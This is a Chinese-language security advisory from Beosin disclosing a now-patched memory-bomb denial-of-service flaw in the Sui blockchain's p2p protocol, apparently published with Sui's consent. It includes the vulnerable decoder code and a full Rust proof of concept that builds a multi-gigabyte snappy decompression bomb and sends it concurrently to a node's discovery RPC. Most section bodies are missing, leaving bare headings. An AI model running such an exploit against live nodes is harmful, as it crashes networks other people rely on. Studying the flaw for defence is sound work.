其他
Beosin硬核安全研究 | 内存炸弹漏洞导致Sui节点崩溃?
本文作者:Beosin安全研究专家Poet
目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。
前言
此前Beosin安全团队发现了多个公链相关的漏洞,其中有一个漏洞比较有意思,我们与Sui团队沟通后,征得同意可以将其详细信息公开。这是Sui公链p2p协议中的一个拒绝服务漏洞,该漏洞可导致Sui网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。
本文通过对该漏洞的介绍,希望大家对“内存炸弹”攻击和其防御手段有更多的认识和理解。Beosin作为区块链安全行业的领先者,我们持续关注公链平台的安全性
什么是内存炸弹?
fsutil file createnew test.txt 1073741824
7z a test.zip test.txt
内存炸弹一般防御方法
历史上的“内存炸弹”漏洞
Sui漏洞描述
impl<U: serde::de::DeserializeOwned> Decoder for BcsSnappyDecoder<U> {
type Item = U;
type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result<Self::Item, Self::Error> {
let compressed_size = buf.len();
let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader());
let mut bytes = Vec::with_capacity(compressed_size);
//Decompress
snappy_decoder.read_to_end(&mut bytes)?;
//Deserialize
bcs::from_bytes(bytes.as_slice())
}
}
let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default();
// Set the max_frame_size to be 2 GB to work around the issue of there being too many
// staking events in the epoch change txn.
anemo_config.max_frame_size = Some(2 << 30); // size of 2G !!!!!
PoC
//generate the "memory bomb"
//48.2M -> 1G
//96.4M -> 2G
//385M -> 8G
//1.97G -> 42G
//
//set "how_many_gb" to set the decompressed size of "bomb"
let buf = [0; 1024];
let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap();
let mut encoder = snap::write::FrameEncoder::new(&file);
let how_many_gb = 42;
for _i in 0..1024 * 1024 * how_many_gb {
let _ = encoder.write_all(&buf).unwrap();
}
return;
pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network {
let router = f(anemo::Router::new());
let mut config = Config::default();
config.max_frame_size = Some(2 << 30);
// config.max_frame_size = Some(usize::MAX);
config.outbound_request_timeout_ms = Some(100 * 1000);
let network = anemo::Network::bind("0.0.0.0:0")
.private_key(random_key())
.server_name(chain_id)
.alternate_server_name("sui")
.config(config)
.start(router)
.unwrap();
println!(
"starting network {} {}",
network.local_addr(),
network.peer_id(),
);
network
}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> {
let network = build_network(|a| {a},chain_id);
let (mut rec, _a) = network.subscribe()?;
tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf);
*request.route_mut() = "/sui.Discovery/GetKnownPeers".into();
// *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into();
let response = network.rpc(peerid, request).await?;
println!("{:?}", response);
loop {
sleep(Duration::from_millis(2000)).await;
}
}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]
async fn main() {
//read the "bomb" file.
let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap();
let mut buf: Vec<u8> = Vec::new();
let _size = in_file.read_to_end(&mut buf).unwrap();
let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!!
let concurrent_attack = 20;
let target_ip = "192.168.153.129";
let target_port = 35561;
//you can get your private network's chain_id from the sui-node's stdout.
let chain_id = "sui-76e065b8";
for _i in 0..concurrent_attack {
let bs = bs.clone();
tokio::spawn(async move {
let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await;
println!("error : {:?}", respone);
});
}
loop {
sleep(Duration::from_millis(2000)).await;
}
}
补丁代码分析
漏洞影响
漏洞修复